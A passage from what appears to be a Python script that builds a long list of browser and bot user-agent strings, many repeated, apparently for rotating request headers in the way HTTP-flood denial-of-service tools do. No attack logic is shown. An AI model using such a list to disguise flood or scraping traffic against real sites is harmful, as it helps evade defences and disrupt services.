WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') 